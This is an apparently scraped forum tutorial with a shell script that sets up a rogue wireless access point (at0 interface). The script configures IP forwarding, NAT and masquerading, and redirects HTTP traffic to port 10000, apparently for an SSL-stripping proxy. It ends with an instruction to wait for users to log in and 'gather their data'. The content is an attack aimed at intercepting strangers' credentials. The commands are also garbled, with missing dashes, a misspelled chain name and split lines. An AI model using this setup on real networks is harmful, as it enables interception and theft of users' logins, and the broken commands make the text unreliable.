Académique Documents
Professionnel Documents
Culture Documents
nano iptables.sh
Now assuming you have basic knowledge of networking, I assume you'll read over t
his and manually configure some of it as some of it might not work for you.
Code: [Select]
#!/bin/sh
clear
ifconfig at0 192.168.1.1 netmask 255.255.255.0
ifconfig at0 mtu 1400
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables t nat A PREROUTNG p udp j DNAT to <GATEWAY IP HERE>
iptables P FORWARD ACCEPT
iptables --append FORWARD -in-interface at0 j ACCEPT
iptables --table nat -append POSTROUTING --out-interface eth0 j MASQUERADE
iptables
t nat
A PREROUTING
p tcp destination-port 80
j REDIRECT
to-port 10000
pf /var/run/dhcpd.pid at0
p k 10000
u T
q I at0
Now just sit back and wait for the users to log in and gather their data.